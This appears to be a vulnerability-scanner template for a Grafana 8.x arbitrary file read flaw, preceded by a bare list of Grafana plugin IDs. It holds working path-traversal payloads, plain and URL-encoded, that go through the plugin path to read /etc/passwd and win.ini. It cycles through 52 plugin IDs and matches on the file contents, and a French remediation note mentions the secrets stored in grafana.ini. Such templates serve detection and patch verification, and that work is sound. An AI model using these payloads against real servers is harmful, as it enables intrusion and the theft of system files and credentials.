live
icon
loki
text
logs
news
stat
mssql
mixed
mysql
tempo
graph
gauge
table
debug
zipkin
jaeger
geomap
canvas
grafana
welcome
xychart
heatmap
postgres
testdata
opentsdb
influxdb
barchart
annolist
bargauge
graphite
dashlist
piechart
dashboard
nodeGraph
alertlist
histogram
table-old
pluginlist
timeseries
cloudwatch
prometheus
stackdriver
alertGroups
alertmanager
elasticsearch
gettingstarted
state-timeline
status-history
grafana-clock-panel
grafana-simple-json-datasource
grafana-azure-monitor-datasource

id: grafana-file-read

info:
  name: Grafana v8.x Arbitrary File Read
  author: z0ne,dhiyaneshDk
  severity: high
  reference:
    - https://nosec.org/home/detail/4914.html
    - https://github.com/jas502n/Grafana-VulnTips
    - https://twitter.com/pyn3rd/status/1468138032477859841
    - https://twitter.com/naglinagli/status/1468155313182416899
  tags: grafana,lfi
  remediation: La dernière version de Grafana non patchée (0 Day LFI) est désormais exploitée activement. Elle n'affecte que Grafana 8.0+. Les entreprises vulnérables doivent révoquer immédiatement les secrets stockés dans leur /etc/grafana/grafana.ini, car il n'existe pas de correctif officiel pour le moment.

requests:
  - method: GET
    path:
      - "{{BaseURL}}/public/plugins/{{plugin-id}}/../../../../../../../../etc/passwd"
      - "{{BaseURL}}/public/plugins/{{plugin-id}}/../../../../../../../../c:/windows/win.ini"
      - "{{BaseURL}}/public/plugins/{{plugin-id}}/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
      - "{{BaseURL}}/public/plugins/{{plugin-id}}/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fc:/windows/win.ini"
    redirects: false
    max-redirects: 1
    
    payloads:
      plugin-id:
        - live
        - icon
        - loki
        - text
        - logs
        - news
        - stat
        - mssql
        - mixed
        - mysql
        - tempo
        - graph
        - gauge
        - table
        - debug
        - zipkin
        - jaeger
        - geomap
        - canvas
        - grafana
        - welcome
        - xychart
        - heatmap
        - postgres
        - testdata
        - opentsdb
        - influxdb
        - barchart
        - annolist
        - bargauge
        - graphite
        - dashlist
        - piechart
        - dashboard
        - nodeGraph
        - alertlist
        - histogram
        - table-old
        - pluginlist
        - timeseries
        - cloudwatch
        - prometheus
        - stackdriver
        - alertGroups
        - alertmanager
        - elasticsearch
        - gettingstarted
        - state-timeline
        - status-history
        - grafana-clock-panel
        - grafana-simple-json-datasource
        - grafana-azure-monitor-datasource

    stop-at-first-match: true
    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:.*:0:0"
          - "for 16-bit app support"

      - type: status
        status:
          - 200